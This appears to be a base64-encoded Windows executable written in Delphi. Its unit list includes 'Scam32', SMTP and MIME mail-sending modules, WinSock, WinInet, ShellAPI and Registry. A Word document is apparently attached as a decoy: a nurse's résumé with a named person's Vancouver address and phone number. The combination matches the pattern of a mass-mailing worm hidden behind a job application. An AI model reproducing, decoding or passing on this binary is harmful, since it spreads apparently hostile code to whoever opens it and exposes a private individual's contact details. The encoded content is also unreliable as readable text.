Wz9gP2w/dj99P4c/lz+pP8Y/4z8AgAEA4AAAAAAwHTA6MFcwdDCRMLYwxTDUMOUw/zAjMUcx azGAMZQxsTHVMeAx6DHuMfoxBjIbMiwyUTJlMnYyfDKHMpEynzKxMscyWzSlNNs0czWDNZQ1 sjXcNfQ1HzZLNlA2bjZ+Now2mTbENtE2AzcQNyA3LzdGN2E3gDecN504pTi4OL04wjjROOs4 BzkeOTI5WzlvOYo5pDnAOdI52DnfOQE6FTobOiI6Yjp8OqA6rzrIOvQ6gzwuPac93D0KPkg+ mT7OPuM+6D71Phk/KD89P0I/aj/RP94/7j8AAACQAQBgAQAAKDBFMGAwbDB+MKQw4DDtMPcw /jANMSkxOTFTMWUxejGHMZoxvDHmMRAyMTJRMn0ygjKWMpsysDLYMt0yADMjM0YzsTO2M8kz 2DPwM/UzITTMNO00/DQONTE1VDV3NZw1qzW9NeA1AzYmNnI2iTaPNsM22jYBNwY3GzcgNyU3 PDdBN3U3ejeXN6o3ujfKN9o37zcCOBI4IjgyOEI4UjhiOIE4hjjBOMY48zgiOSg5bzmNOZg5 nTmmObM52TnjORQ6GToeOnU6fzqUOsg61zoOOxM7TjtUO2U7ajuQO5o7ojutO7U7vTvCO907 7Tv6OwI8HDwlPEI8Wjx1PIA8hTyjPK08tzzKPOw8/zwbPTA9NT06PUc9XD1hPWY9cD2CPbI9 tz3pPf89BD4JPiE+Jj4rPkI+Rz6DPpM+mD62Psw+0T7WPug+7T4NPyM/KD8tPz8/RD+gP8I/ +z8AoAEAXAEAAPQ1CTYONic2NDZBNlg2ZjZrNnw2jjaTNq02sja3Nsg26DaLN6U3xDfwN/U3 TzhaOGQ4bjh4OII4jDiWOKA4qji0OMY42DjcOOA45DjoOOw48Dj0OPg4/DgAOQQ5CDkMORA5 FDkYORw5IDkkOSg5LDkwOTQ5ODk8OUA5RDlIOUw5UDlUOVg5XDlgOWQ5aDlsOXA5dDl4OXw5 gDmEOYg5jDmQOZQ5mDmgObg5wjnKOdg5BzoUOig6LTpYOm46czp4OoI6ljqmOsM61TrlOgI7 FDskO0Q7ZDt2O447oDuxO+U7+zsAPAU8GjwfPCQ8OTxJPFQ8XTxjPGg8dDx5PIU8ijywPMs8 5jwBPRw9Nz1SPZQ9nz2kPbE9wT3QPdU95D3pPe89FT4aPis+MD42Pjs+UD5gPrU+Az8vP0E/ Yj9nP3c/kz+YP6g/sj+4P70/xz/iP/I/AAAAsAEAlAAAAAMwCTAiMCgwWzBmMG0wfjCEMJ4w pDCqMLUwvjDEMNgw7TD6MAYxGzEgMSUxOjE/MUQxWzFgMZYxpzHMMfMxCzIxMlgyeTKAMpcy nDKhMq0ytzLGMt4y8DIAMwszLDMxM2YzazNwM3sznjOjM68ztDPiM/IzCzQiNEM0SDRNNFw0 cTR2NHs0lDSrNAAAAMABAJwAAAAcMCAwJDAkMUwxUDFgMWQxaDFsMXAxdDF4MXwxgDGEMYgx jDGQMZQxmDGcMaAxpDGoMawxsDG0MbgxvDHAMcQxyDHMMdAx1DHYMdwx4DHkMegx7DHwMfQx MDI4MkAySDJQMlgyYDJoMnAyeDKAMogykDKYMqAyqDKwMrgywDLIMtAy2DLkMugy7DLwMvQy +DL8MgAAANABAPgBAAAgNyQ3KDcsNzA3NDc4Nzw3QDdEN0g3TDdQN1Q3WDdcN2A3ZDdoN2w3 cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewN7Q3uDe8N8A3xDfIN8w30DfUN9g3 3DfgN+Q36DfsN/A39Df4N/w3ADgEOAg4DDgQOBQ4GDgcOCA4JDgoOFw4ZDhsOHQ4fDiEOIw4 lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5 bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0OrQ6 uDq8OsA6xDrIOsw60DrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDscOyA7 JDsoOyw7MDs0Ozg7PDtAO0Q7SDtMO1A7VDtYO1w7YDtkO2g7bDtwO3Q7eDt8O4A7hDuIO4w7 kDuUO5g7nDugO6Q7qDusO7A7tDu4O7w7wDvEO8g7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7 /DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDxgPGQ8 aDxsPHA8dDx4PHw8gDyEPIg8jDyQPAAAACACABQAAAAAMAQwCDAMMAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAjYB9KgAAAAAAAAQAAwAAADAAAIAGAAAASAAAgAoAAACQAACA DgAAALAAAIAAAAAAjYB9KgAAAAAAAAEAAQAAAMgAAIAAAAAAjYB9KgAAAAAAAAcA+g8AAOAA AID7DwAA+AAAgPwPAAAQAQCA/Q8AACgBAID+DwAAQAEAgP8PAABYAQCAABAAAHABAIAAAAAA jYB9KgAAAAACAAAAgAIAgIgBAICOAgCAoAEAgAAAAACNgH0qAAAAAAEAAACmAgCAuAEAgAAA AACNgH0qAAAAAAAAAQAKCAAA0AEAAAAAAACNgH0qAAAAAAAAAQAAAAAA4AEAAAAAAACNgH0q AAAAAAAAAQAAAAAA8AEAAAAAAACNgH0qAAAAAAAAAQAAAAAAAAIAAAAAAACNgH0qAAAAAAAA AQAAAAAAEAIAAAAAAACNgH0qAAAAAAAAAQAAAAAAIAIAAAAAAACNgH0qAAAAAAAAAQAAAAAA MAIAAAAAAACNgH0qAAAAAAAAAQAAAAAAQAIAAAAAAACNgH0qAAAAAAAAAQAAAAAAUAIAAAAA AACNgH0qAAAAAAAAAQAAAAAAYAIAAAAAAACNgH0qAAAAAAAAAQAKCAAAcAIAALhiAgDoAgAA AAAAAAAAAACgZQIANAIAAAAAAAAAAAAA1GcCAEADAAAAAAAAAAAAABRrAgDwAAAAAAAAAAAA AAAEbAIAwAAAAAAAAAAAAAAAxGwCANgCAAAAAAAAAAAAAJxvAgCAAwAAAAAAAAAAAAAccwIA wAIAAAAAAAAAAAAA3HUCABAAAAAAAAAAAAAAAOx1AgAUAQAAAAAAAAAAAAAAdwIAFAAAAAAA AAAAAAAABgBEAFYAQwBMAEEATAALAFAAQQBDAEsAQQBHAEUASQBOAEYATwAIAE0AQQBJAE4A SQBDAE8ATgAoAAAAIAAAAEAAAAABAAQAAAAAAAACAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA ////AAAAAIiIiIiIiIiIiIiIiAAAAACHd3d3d3d3d3d3d3gAAAAAj///9/d3d3d3d3d4AAAA AI////939/d3d3d3eAAAAACP/////39/f3d3d3gAAATMz///////9/f3d3d4AABMAIwExmZv ////f3d3eAAATAAAxmzMxm//9/f3d3gACMQETGzMzMzG//9/d3d4AAhkRMbMZmzMzG//93d3 eAAINkxmxv/8zMbG//93d3gACIzEbG///0xm5v/393d4AAiDbGxv/////////393eAAIeIZs ZmZmZmZm////d3gAAIeGzMzMZm7u5v//9/d4AADIfMZmZmZm7ub///93eAAABIfGb///Ru7m ////93gAAAxIfGb/9GZ+b////3d4AAAAxodmzMZu7m/////3eAAAAAxmfMzG5ub//////3gA AAAAxszMzG5v/P////d4AAAAAI9mZmZm//b///93iAAAAACP//9mb/9v///3eIgAAAAAj/// /2Zm////d4iIAAAAAI//////////+AAAAAAAAACP//////////j3eIAAAAAAj//////////4 d4gAAAAAAI//////////+HiAAAAAAACP//////////iIAAAAAAAAj//////////4gAAAAAAA AIiIiIiIiIiIiAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAA/wAAAP8AAAD/AAAA/wAAAPgAAAD zAAAA8wAAAOIAAADgAAAA4AAAAOAAAADgAAAA4AAAAPAAAADwAAAA+AAAAPgAAAD8AAAA/gA AAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAf8AAAP/AAAH/wAAD/8AAB//AAA//////8XAEkA YwBvAG4AIABpAG0AYQBnAGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZAAhAEMAYQBuAG4A bwB0ACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAHMAaQB6AGUAIABvAGYAIABhAG4AIABpAGMA bwBuABcATwB1AHQAIABvAGYAIABzAHkAcwB0AGUAbQAgAHIAZQBzAG8AdQByAGMAZQBzAB0A QwBhAG4AdgBhAHMAIABkAG8AZQBzACAAbgBvAHQAIABhAGwAbABvAHcAIABkAHIAYQB3AGkA bgBnACAAQwBsAGkAcABiAG8AYQByAGQAIABkAG8AZQBzACAAbgBvAHQAIABzAHUAcABwAG8A cgB0ACAASQBjAG8AbgBzABoASQBuAHYAYQBsAGkAZAAgAGQAYQB0AGEAIAB0AHkAcABlACAA ZgBvAHIAIAAnACUAcwAnABsARgBhAGkAbABlAGQAIAB0AG8AIABzAGUAdAAgAGQAYQB0AGEA IABmAG8AcgAgACcAJQBzACcAGwBGAGEAaQBsAGUAZAAgAHQAbwAgAGcAZQB0ACAAZABhAHQA YQAgAGYAbwByACAAJwAlAHMAJwAlAEwAaQBzAHQAIABkAG8AZQBzACAAbgBvAHQAIABhAGwA bABvAHcAIABkAHUAcABsAGkAYwBhAHQAZQBzACAAKAAkADAAJQB4ACkAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAIAFQAaAB1AHIAcwBkAGEAeQAGAEYAcgBpAGQAYQB5AAgA UwBhAHQAdQByAGQAYQB5ABoAQwBhAG4AbgBvAHQAIABhAHMAcwBpAGcAbgAgAGEAIAAlAHMA IAB0AG8AIABhACAAJQBzABUAQwBhAG4AbgBvAHQAIABjAHIAZQBhAHQAZQAgAGYAaQBsAGUA IAAlAHMAEwBDAGEAbgBuAG8AdAAgAG8AcABlAG4AIABmAGkAbABlACAAJQBzABEAUwB0AHIA ZQBhAG0AIAByAGUAYQBkACAAZQByAHIAbwByABIAUwB0AHIAZQBhAG0AIAB3AHIAaQB0AGUA IABlAHIAcgBvAHIAKwBPAHUAdAAgAG8AZgAgAG0AZQBtAG8AcgB5ACAAdwBoAGkAbABlACAA ZQB4AHAAYQBuAGQAaQBuAGcAIABtAGUAbQBvAHIAeQAgAHMAdAByAGUAYQBtAB0ATABpAHMA dAAgAGkAbgBkAGUAeAAgAG8AdQB0ACAAbwBmACAAYgBvAHUAbgBkAHMAIAAoACUAZAApACAA TABpAHMAdAAgAGMAYQBwAGEAYwBpAHQAeQAgAG8AdQB0ACAAbwBmACAAYgBvAHUAbgBkAHMA IAAoACUAZAApAB0ATABpAHMAdAAgAGMAbwB1AG4AdAAgAG8AdQB0ACAAbwBmACAAYgBvAHUA bgBkAHMAIAAoACUAZAApACsATwBwAGUAcgBhAHQAaQBvAG4AIABuAG8AdAAgAGEAbABsAG8A dwBlAGQAIABvAG4AIABzAG8AcgB0AGUAZAAgAHMAdAByAGkAbgBnACAAbABpAHMAdAAlAFMA dAByAGkAbgBnACAAbABpAHMAdAAgAGQAbwBlAHMAIABuAG8AdAAgAGEAbABsAG8AdwAgAGQA dQBwAGwAaQBjAGEAdABlAHMAFgBJAG4AdgBhAGwAaQBkACAAcAByAG8AcABlAHIAdAB5ACAA dgBhAGwAdQBlABkAQgBpAHQAbQBhAHAAIABpAG0AYQBnAGUAIABpAHMAIABuAG8AdAAgAHYA YQBsAGkAZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgBBAHUAZwB1AHMA dAAJAFMAZQBwAHQAZQBtAGIAZQByAAcATwBjAHQAbwBiAGUAcgAIAE4AbwB2AGUAbQBiAGUA cgAIAEQAZQBjAGUAbQBiAGUAcgADAFMAdQBuAAMATQBvAG4AAwBUAHUAZQADAFcAZQBkAAMA VABoAHUAAwBGAHIAaQADAFMAYQB0AAYAUwB1AG4AZABhAHkABgBNAG8AbgBkAGEAeQAHAFQA dQBlAHMAZABhAHkACQBXAGUAZABuAGUAcwBkAGEAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAwBBAHAAcgADAE0AYQB5AAMASgB1AG4AAwBKAHUAbAADAEEAdQBnAAMA UwBlAHAAAwBPAGMAdAADAE4AbwB2AAMARABlAGMABwBKAGEAbgB1AGEAcgB5AAgARgBlAGIA cgB1AGEAcgB5AAUATQBhAHIAYwBoAAUAQQBwAHIAaQBsAAMATQBhAHkABABKAHUAbgBlAAQA SgB1AGwAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQBXAHIAaQB0AGUA HABFAHIAcgBvAHIAIABjAHIAZQBhAHQAaQBuAGcAIAB2AGEAcgBpAGEAbgB0ACAAYQByAHIA YQB5ABcAVgBhAHIAaQBhAG4AdAAgAGkAcwAgAG4AbwB0ACAAYQBuACAAYQByAHIAYQB5ACEA VgBhAHIAaQBhAG4AdAAgAGEAcgByAGEAeQAgAGkAbgBkAGUAeAAgAG8AdQB0ACAAbwBmACAA YgBvAHUAbgBkAHMAFQBFAHgAdABlAHIAbgBhAGwAIABlAHgAYwBlAHAAdABpAG8AbgAgACUA eAAQAEEAcwBzAGUAcgB0AGkAbwBuACAAZgBhAGkAbABlAGQAFwBJAG4AdABlAHIAZgBhAGMA ZQAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQAHABFAHgAYwBlAHAAdABpAG8AbgAgAGkA bgAgAHMAYQBmAGUAYwBhAGwAbAAgAG0AZQB0AGgAbwBkABAAJQBzACAAKAAlAHMALAAgAGwA aQBuAGUAIAAlAGQAKQAOAEEAYgBzAHQAcgBhAGMAdAAgAEUAcgByAG8AcgA/AEEAYwBjAGUA cwBzACAAdgBpAG8AbABhAHQAaQBvAG4AIABhAHQAIABhAGQAZAByAGUAcwBzACAAJQBwACAA aQBuACAAbQBvAGQAdQBsAGUAIAAnACUAcwAnAC4AIAAlAHMAIABvAGYAIABhAGQAZAByAGUA cwBzACAAJQBwABoAVwBpAG4AMwAyACAARQByAHIAbwByAC4AIAAgAEMAbwBkAGUAOgAgACUA ZAAuAAoAJQBzABsAQQAgAFcAaQBuADMAMgAgAEEAUABJACAAZgB1AG4AYwB0AGkAbwBuACAA ZgBhAGkAbABlAGQAAwBKAGEAbgADAEYAZQBiAAMATQBhAHIAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAXAEYAbABvAGEAdABpAG4AZwAgAHAAbwBpAG4AdAAgAG8AdgBlAHIA ZgBsAG8AdwAYAEYAbABvAGEAdABpAG4AZwAgAHAAbwBpAG4AdAAgAHUAbgBkAGUAcgBmAGwA bwB3ABkASQBuAHYAYQBsAGkAZAAgAHAAbwBpAG4AdABlAHIAIABvAHAAZQByAGEAdABpAG8A bgAWAEkAbgB2AGEAbABpAGQAIABjAGwAYQBzAHMAIAB0AHkAcABlAGMAYQBzAHQAMABBAGMA YwBlAHMAcwAgAHYAaQBvAGwAYQB0AGkAbwBuACAAYQB0ACAAYQBkAGQAcgBlAHMAcwAgACUA cAAuACAAJQBzACAAbwBmACAAYQBkAGQAcgBlAHMAcwAgACUAcAAOAFMAdABhAGMAawAgAG8A dgBlAHIAZgBsAG8AdwANAEMAbwBuAHQAcgBvAGwALQBDACAAaABpAHQAFgBQAHIAaQB2AGkA bABlAGcAZQBkACAAaQBuAHMAdAByAHUAYwB0AGkAbwBuACUARQB4AGMAZQBwAHQAaQBvAG4A IAAlAHMAIABpAG4AIABtAG8AZAB1AGwAZQAgACUAcwAgAGEAdAAgACUAcAAuAAoAJQBzACUA cwARAEEAcABwAGwAaQBjAGEAdABpAG8AbgAgAEUAcgByAG8AcgAxAEYAbwByAG0AYQB0ACAA JwAlAHMAJwAgAGkAbgB2AGEAbABpAGQAIABvAHIAIABpAG4AYwBvAG0AcABhAHQAaQBiAGwA ZQAgAHcAaQB0AGgAIABhAHIAZwB1AG0AZQBuAHQAGwBOAG8AIABhAHIAZwB1AG0AZQBuAHQA IABmAG8AcgAgAGYAbwByAG0AYQB0ACAAJwAlAHMAJwAfAEkAbgB2AGEAbABpAGQAIAB2AGEA cgBpAGEAbgB0ACAAdAB5AHAAZQAgAGMAbwBuAHYAZQByAHMAaQBvAG4AGQBJAG4AdgBhAGwA aQBkACAAdgBhAHIAaQBhAG4AdAAgAG8AcABlAHIAYQB0AGkAbwBuACIAVgBhAHIAaQBhAG4A dAAgAG0AZQB0AGgAbwBkACAAYwBhAGwAbABzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUA ZAAEAFIAZQBhAGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8ASQBuAHYA YQBsAGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAgAHQAbwAgAHQAaQBtAGUAIABlAG4AYwBvAGQA ZQAfAEkAbgB2AGEAbABpAGQAIABhAHIAZwB1AG0AZQBuAHQAIAB0AG8AIABkAGEAdABlACAA ZQBuAGMAbwBkAGUADQBPAHUAdAAgAG8AZgAgAG0AZQBtAG8AcgB5AAwASQAvAE8AIABlAHIA cgBvAHIAIAAlAGQADgBGAGkAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAEABJAG4AdgBhAGwA aQBkACAAZgBpAGwAZQBuAGEAbQBlABMAVABvAG8AIABtAGEAbgB5ACAAbwBwAGUAbgAgAGYA aQBsAGUAcwASAEYAaQBsAGUAIABhAGMAYwBlAHMAcwAgAGQAZQBuAGkAZQBkABcAUgBlAGEA ZAAgAGIAZQB5AG8AbgBkACAAZQBuAGQAIABvAGYAIABmAGkAbABlAAkARABpAHMAawAgAGYA dQBsAGwAFQBJAG4AdgBhAGwAaQBkACAAbgB1AG0AZQByAGkAYwAgAGkAbgBwAHUAdAAQAEQA aQB2AGkAcwBpAG8AbgAgAGIAeQAgAHoAZQByAG8AEQBSAGEAbgBnAGUAIABjAGgAZQBjAGsA IABlAHIAcgBvAHIAEABJAG4AdABlAGcAZQByACAAbwB2AGUAcgBmAGwAbwB3ACAASQBuAHYA YQBsAGkAZAAgAGYAbABvAGEAdABpAG4AZwAgAHAAbwBpAG4AdAAgAG8AcABlAHIAYQB0AGkA bwBuAB8ARgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAZABpAHYAaQBzAGkAbwBuACAA YgB5ACAAegBlAHIAbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJj1POMKC N7jzJEIDF5s6gwEAAMwAAAAAGQAAAAGgU0NhbTMyABCDTUlNRXBhcnQAEHNTeW5hVXRpbAAQ /UFTTjFVdGlsAAACU3lzVXRpbHMAAMdTeXN0ZW0AAIFTeXNJbml0AAxLV2luZG93cwAQnVN5 c0NvbnN0AABeQ2xhc3NlcwAQx0NvbnN0cwAQUVR5cEluZm8AEHNBY3RpdmVYABwzTWVzc2Fn ZXMAEEZibGNrc29jawAcqVdpblNvY2sAENRTeW5hQ29kZQAQfU1JTUVjaGFyABDdSW5pRmls ZXMADD9XaW5JbmV0AAArR3JhcGhpY3MAAMBTTVRQc2VuZAAAAU1JTUVtZXNzAAwqU2hlbGxB UEkAADhSZWdpc3RyeQAAAAAAAQABACAgBAABAAQA6AIAAAEAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AADQzxHgobEa4QAAAAAAAAAAAAAAAAAAAAA+AAMA/v8JAAYAAAAAAAAAAAAAAAEAAABFAAAA AAAAAAAQAABHAAAAAQAAAP7///8AAAAARAAAAP////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////+ylwQA3IAkEAADwEr8AAAAAAAAQAAAAAAAE AABHFAAADgBiamJqVRZVFgAAAAAAAAAAAAAAAAAAAAAAAAkEFgAsJAAAN3wAADd8AABAEAAA AAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//DwAAAAAAAAAAAP//DwAAAAAAAAAAAP// DwAAAAAAAAAAAAAAAAAAAAAAbAAAAAAA4AIAAAAAAADgAgAA4AIAAAAAAADgAgAAAAAAAOAC AAAAAAAA4AIAAAAAAADgAgAAFAAAAAAAAAAAAAAA9AIAAAAAAACuDAAAAAAAAK4MAAAAAAAA rgwAADgAAADmDAAADAAAAPIMAAAsAAAA9AIAAAAAAAAIPgAAZgEAACoNAAAAAAAAKg0AAAAA AAAqDQAAAAAAACoNAAAAAAAAKg0AAAAAAAAqDQAAAAAAACoNAAAAAAAAKg0AAAAAAAAiNQAA AgAAACQ1AAAAAAAAJDUAAAAAAAAkNQAARQAAAGk1AAAQBAAAeTkAABAEAACJPQAAJAAAAG4/ AAAgAgAAjkEAAE4AAACtPQAAFQAAAAAAAAAAAAAAAAAAAAAAAADgAgAAAAAAACoNAAAAAAAA AAAAAAAAAAAAAAAAAAAAACoNAAAAAAAAKg0AAAAAAAAqDQAAAAAAACoNAAAAAAAArT0AAAAA AAC6DQAAAAAAAOACAAAAAAAA4AIAAAAAAAAqDQAAAAAAAAAAAAAAAAAAKg0AAAAAAADCPQAA FgAAALoNAAAAAAAAug0AAAAAAAC6DQAAAAAAACoNAAAWAAAA4AIAAAAAAAAqDQAAAAAAAOAC AAAAAAAAKg0AAAAAAAAiNQAAAAAAAAAAAAAAAAAAug0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqDQAAAAAAACI1AAAAAAAAug0AAGoB AAC6DQAAAAAAACQPAACKAQAAqDEAABwBAADgAgAAAAAAAOACAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANQAAAAAAACoN AAAAAAAAHg0AAAwAAACgJNcPzpvAAfQCAAC6CQAArgwAAAAAAABADQAAFgAAAMQyAAAiAAAA AAAAAAAAAAAONQAAFAAAANg9AAAwAAAACD4AAAAAAADmMgAAGgIAANxBAAAAAAAAVg0AAGQA AADcQQAAAAAAAAA1AAAOAAAAug0AAAAAAAD0AgAAAAAAAPQCAAAAAAAA4AIAAAAAAADgAgAA AAAAAOACAAAAAAAA4AIAAAAAAAACANkAAAANU0hFSUxBIFZBTEVOVEUNDTMwMi0yMzg1IFdl c3QgMm5kIEF2ZW51ZQ1WYW5jb3V2ZXIsIEJyaXRpc2ggQ29sdW1iaWEgVjZLIDFKMw1UZWxl cGhvbmU6ICg2MDQpIDczNC01NTA5DQ0NRURVQ0FUSU9ODQ1NYXksIDIwMDAJVW5pdmVyc2l0 eSBvZiBTYXNrYXRjaGV3YW4sIFNhc2thdG9vbiwgU2Fza2F0Y2hld2FuDUIuU2MuIE51cnNp bmcNDU1heSwgMTk5NQlVbml2ZXJzaXR5IG9mIFNhc2thdGNoZXdhbiwgU2Fza2F0b29uLCBT YXNrYXRjaGV3YW4NQi5TYy4gTWljcm9iaW9sb2d5DQ0NV09SSyBFWFBFUklFTkNFDQ1BdWd1 c3QsIDIwMDAgliBwcmVzZW50DVJlZ2lzdGVyZWQgTnVyc2UgKGZ1bGwgdGltZSksIFZhbmNv dXZlciBHZW5lcmFsIEhvc3BpdGFsLCBWYW5jb3V2ZXINQ2FyZGlvdmFzY3VsYXIgU3VyZ2Vy eSwgU29saWQgT3JnYW4gVHJhbnNwbGFudCwgTmVwaHJvbG9neSBEZXBhcnRtZW50DVByb3Zp ZGUgY2FyZSBmb3IgcGF0aWVudHMgd2hvIHVuZGVyZ28gY29yb25hcnkgYXJ0ZXJ5IGJ5cGFz cywgaGVhcnQgdmFsdmUgcmVwYWlyL3JlcGxhY2VtZW50LCBhbmQgdGhvcmFjaWMgYW9ydGlj IHByb2NlZHVyZXMNUHJvdmlkZSBjYXJlIGZvciBwYXRpZW50cyByZWNlaXZpbmcgbHVuZywg bGl2ZXIsIGtpZG5leSwgYW5kIHBhbmNyZWFzIHRyYW5zcGxhbnQNUHJvdmlkZSBjYXJlIGZv ciBuZXBocm9sb2d5IHBhdGllbnRzDQ1BcHJpbCwgMTk5OSAtIERlY2VtYmVyLCAxOTk5DVNl bmlvciBBc3Npc3RhbnQgKGNhc3VhbCksIFJveWFsIFVuaXZlcnNpdHkgSG9zcGl0YWwsIFNh c2thdG9vbg1Bc3Npc3RlZCBSLk4uknMgaW4gdGhlIE5ldXJvc2NpZW5jZXMgRGVwYXJ0bWVu dCBpbiBSLk4uIGR1dGllczogIGFkbWl0dGluZyBwYXRpZW50cyB0byB1bml0LCBhc3Nlc3Np bmcgcGF0aWVudHMsIG1vbml0b3Jpbmcgdml0YWxzLCByZW1vdmluZyBJVpJzLCBpbnNlcnRp bmcgYW5kIHJlbW92aW5nIGNhdGhldGVycywgYWRtaW5pc3RlcmluZyB0dWJlIGZlZWRzLCBj b2xsZWN0aW5nIHNwZWNpbWVucywgZGlzY2hhcmdlIHRlYWNoaW5nDQ1TZXB0ZW1iZXIsIDE5 OTggLSBEZWNlbWJlciAxOTk4DUxpYnJhcnkgUmVzZWFyY2hlciwgVW5pdmVyc2l0eSBvZiBT YXNrYXRjaGV3YW4sIFNha2F0b29uDVJlc2VhcmNoZWQgIENJTkFITCwgTUVETElORSwgYW5k IG90aGVyIGhlYWx0aCByZWxhdGVkIGxpdGVyYXR1cmUgZm9yIFBvc3QgUmVnaXN0cmF0aW9u IEJTTiBzdHVkZW50cyBpbiB0aGUgRGlzdGFuY2UgUHJvZ3JhbSB3aG8gZG8gbm90IGhhdmUg YWNjZXNzIHRvIGxpYnJhcnkgc2VydmljZXMNDVN1bW1lciAxOTk1DUxhYm9yYXRvcnkgQXNz aXN0YW50LCBQcm92aW5jaWFsIExhYm9yYXRvcnksIFJlZ2luYQ1QZXJmb3JtZWQgbGFib3Jh dG9yeSBwcm9jZWR1cmVzICBpbiB0aGUgRGVwYXJ0bWVudHMgb2YgQmFjdGVyaW9sb2d5IGFu ZCBQYXJhc2l0b2xvZ3kNDFNIRUlMQSBWQUxFTlRFDQ0NVk9MVU5URUVSIEVYUEVSSUVOQ0UN DVN1bW1lciAxOTk3CQ1MdXRoZXIgU3BlY2lhbCBDYXJlIEhvbWUsIFNhc2thdG9vbg1Bc3Np c3RlZCByZXNpZGVudHMgYXQgbWVhbHRpbWVzDUFzc2lzdGVkIHdpdGggYXF1YSB0aGVyYXB5 IHNlc3Npb25zDQ0xOTkxIJYgMTk5NAkNQ2lyY2xlIEssIFUgb2YgUyBWb2x1bnRlZXIgT3Jn YW5pemF0aW9uDUhlbHBlZCBtYW55IG9yZ2FuaXphdGlvbnM6DUtpbnNtZW4gQ2hpbGRyZW6S cyBDZW50cmUgLSBwcm92aWRlZCBjaGlsZGNhcmUgZm9yIGNoaWxkcmVuIHdpdGggZGV2ZWxv cG1lbnRhbCBkaXNhYmlsaXRpZXMNRnVuZHJhaXNlcnM6IENyaXNpcyBOdXJzZXJ5LCBMaXR0 bGUgQnJvdGhlcnOSIE9yZ2FuaXphdG9uLCBVTklDRUYsIENhbmNlciBTb2NpZXR5DQ0NU0tJ TExTIEFORCBBQ0hJRVZFTUVOVFMNDVN0LiBKb2huknMgQW1idWxhbmNlIENQUiBsZXZlbCBD IChBcHJpbCwgMjAwMCkNZmFtaWxpYXIgd2l0aCBjb21wdXRlcnM7IE1pY3Jvc29mdCBPZmZp Y2UNUm95YWwgQ29uc2VydmF0aXZlIG9mIE11c2ljOyBHcmFkZSA4IHBpYW5vDUJlZ2lubmVy IGNvdXJzZSBsZXZlbCBpbiBGcmVuY2ggYW5kIFNwYW5pc2gNDQ1BQ1RJVklUSUVTIEFORCBJ 